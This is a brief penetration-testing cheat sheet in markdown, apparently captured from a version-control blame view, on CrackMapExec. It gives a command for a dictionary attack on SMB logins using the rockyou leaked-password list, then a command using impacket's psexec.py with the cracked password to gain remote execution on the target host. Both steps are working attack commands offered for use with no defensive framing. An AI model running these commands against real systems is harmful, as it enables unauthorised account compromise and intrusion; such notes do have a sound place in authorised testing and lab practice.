2021-11-04 17:19:58 +01:00
|
|
|
# Crackmapexec
|
|
|
|
|
|
|
|
* Dictionary attack against SMB
|
|
|
|
```sh
|
|
|
|
cme smb domain.name -u <user> s -p /usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt
|
|
|
|
```
|
2021-11-04 17:35:57 +01:00
|
|
|
* Use the password with `impacket/examples/psexec.py` in the following way
|
|
|
|
```sh
|
|
|
|
psexec.py domain.name/<user>:<password>@<target-IP>
|
|
|
|
```
|